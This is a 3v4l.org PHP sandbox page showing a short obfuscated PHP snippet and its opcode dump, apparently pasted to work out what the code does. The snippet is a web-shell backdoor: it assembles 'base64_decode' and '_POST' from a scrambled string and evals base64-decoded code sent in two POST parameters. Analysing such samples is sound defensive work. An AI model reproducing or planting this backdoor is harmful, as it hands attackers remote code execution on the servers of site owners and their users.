3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n828e00']; var_dump($s21); var_dump($s22); if(isset($s22)){eval($s21($s22));} $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nd6e706'];if(isset($s22)){eval($s21($s22));}?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 53, Position 2 = 57
Branch analysis from position: 53
2 jumps found. (Code = 43) Position 1 = 104, Position 2 = 108
Branch analysis from position: 104
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 108
Branch analysis from position: 57
filename:       /in/P4U61
function name:  (null)
number of ops:  109
compiled vars:  !0 = $sF, !1 = $s21, !2 = $s22
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'PCT4BA6ODSE_'
    3     1        INIT_FCALL                                               'strtolower'
          2        FETCH_DIM_R                                      ~4      !0, 4
          3        FETCH_DIM_R                                      ~5      !0, 5
          4        CONCAT                                           ~6      ~4, ~5
          5        FETCH_DIM_R                                      ~7      !0, 9
          6        CONCAT                                           ~8      ~6, ~7
          7        FETCH_DIM_R                                      ~9      !0, 10
          8        CONCAT                                           ~10     ~8, ~9
          9        FETCH_DIM_R                                      ~11     !0, 6
         10        CONCAT                                           ~12     ~10, ~11
         11        FETCH_DIM_R                                      ~13     !0, 3
         12        CONCAT                                           ~14     ~12, ~13
         13        FETCH_DIM_R                                      ~15     !0, 11
         14        CONCAT                                           ~16     ~14, ~15
         15        FETCH_DIM_R                                      ~17     !0, 8
         16        CONCAT                                           ~18     ~16, ~17
         17        FETCH_DIM_R                                      ~19     !0, 10
         18        CONCAT                                           ~20     ~18, ~19
         19        FETCH_DIM_R                                      ~21     !0, 1
         20        CONCAT                                           ~22     ~20, ~21
         21        FETCH_DIM_R                                      ~23     !0, 7
         22        CONCAT                                           ~24     ~22, ~23
         23        FETCH_DIM_R                                      ~25     !0, 8
         24        CONCAT                                           ~26     ~24, ~25
         25        FETCH_DIM_R                                      ~27     !0, 10
         26        CONCAT                                           ~28     ~26, ~27
         27        SEND_VAL                                                 ~28
         28        DO_ICALL                                         $29     
         29        ASSIGN                                                   !1, $29
    4    30        INIT_FCALL                                               'strtoupper'
         31        FETCH_DIM_R                                      ~31     !0, 11
         32        FETCH_DIM_R                                      ~32     !0, 0
         33        CONCAT                                           ~33     ~31, ~32
         34        FETCH_DIM_R                                      ~34     !0, 7
         35        CONCAT                                           ~35     ~33, ~34
         36        FETCH_DIM_R                                      ~36     !0, 9
         37        CONCAT                                           ~37     ~35, ~36
         38        FETCH_DIM_R                                      ~38     !0, 2
         39        CONCAT                                           ~39     ~37, ~38
         40        SEND_VAL                                                 ~39
         41        DO_ICALL                                         $40     
         42        FETCH_R                      local               ~41     $40
         43        FETCH_DIM_R                                      ~42     ~41, 'n828e00'
         44        ASSIGN                                                   !2, ~42
    6    45        INIT_FCALL                                               'var_dump'
         46        SEND_VAR                                                 !1
         47        DO_ICALL                                                 
    7    48        INIT_FCALL                                               'var_dump'
         49        SEND_VAR                                                 !2
         50        DO_ICALL                                                 
    8    51        ISSET_ISEMPTY_CV                                         !2
         52      > JMPZ                                                     ~46, ->57
         53    >   INIT_DYNAMIC_CALL                                        !1
         54        SEND_VAR_EX                                              !2
         55        DO_FCALL                                      0  $47     
         56        INCLUDE_OR_EVAL                                          $47, EVAL
         57    >   ASSIGN                                                   !0, 'PCT4BA6ODSE_'
         58        INIT_FCALL                                               'strtolower'
         59        FETCH_DIM_R                                      ~50     !0, 4
         60        FETCH_DIM_R                                      ~51     !0, 5
         61        CONCAT                                           ~52     ~50, ~51
         62        FETCH_DIM_R                                      ~53     !0, 9
         63        CONCAT                                           ~54     ~52, ~53
         64        FETCH_DIM_R                                      ~55     !0, 10
         65        CONCAT                                           ~56     ~54, ~55
         66        FETCH_DIM_R                                      ~57     !0, 6
         67        CONCAT                                           ~58     ~56, ~57
         68        FETCH_DIM_R                                      ~59     !0, 3
         69        CONCAT                                           ~60     ~58, ~59
         70        FETCH_DIM_R                                      ~61     !0, 11
         71        CONCAT                                           ~62     ~60, ~61
         72        FETCH_DIM_R                                      ~63     !0, 8
         73        CONCAT                                           ~64     ~62, ~63
         74        FETCH_DIM_R                                      ~65     !0, 10
         75        CONCAT                                           ~66     ~64, ~65
         76        FETCH_DIM_R                                      ~67     !0, 1
         77        CONCAT                                           ~68     ~66, ~67
         78        FETCH_DIM_R                                      ~69     !0, 7
         79        CONCAT                                           ~70     ~68, ~69
         80        FETCH_DIM_R                                      ~71     !0, 8
         81        CONCAT                                           ~72     ~70, ~71
         82        FETCH_DIM_R                                      ~73     !0, 10
         83        CONCAT                                           ~74     ~72, ~73
         84        SEND_VAL                                                 ~74
         85        DO_ICALL                                         $75     
         86        ASSIGN                                                   !1, $75
         87        INIT_FCALL                                               'strtoupper'
         88        FETCH_DIM_R                                      ~77     !0, 11
         89        FETCH_DIM_R                                      ~78     !0, 0
         90        CONCAT                                           ~79     ~77, ~78
         91        FETCH_DIM_R                                      ~80     !0, 7
         92        CONCAT                                           ~81     ~79, ~80
         93        FETCH_DIM_R                                      ~82     !0, 9
         94        CONCAT                                           ~83     ~81, ~82
         95        FETCH_DIM_R                                      ~84     !0, 2
         96        CONCAT                                           ~85     ~83, ~84
         97        SEND_VAL                                                 ~85
         98        DO_ICALL                                         $86     
         99        FETCH_R                      local               ~87     $86
        100        FETCH_DIM_R                                      ~88     ~87, 'nd6e706'
        101        ASSIGN                                                   !2, ~88
        102        ISSET_ISEMPTY_CV                                         !2
        103      > JMPZ                                                     ~90, ->108
        104    >   INIT_DYNAMIC_CALL                                        !1
        105        SEND_VAR_EX                                              !2
        106        DO_FCALL                                      0  $91     
        107        INCLUDE_OR_EVAL                                          $91, EVAL
        108    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
181.04 ms | 1404 KiB | 19 Q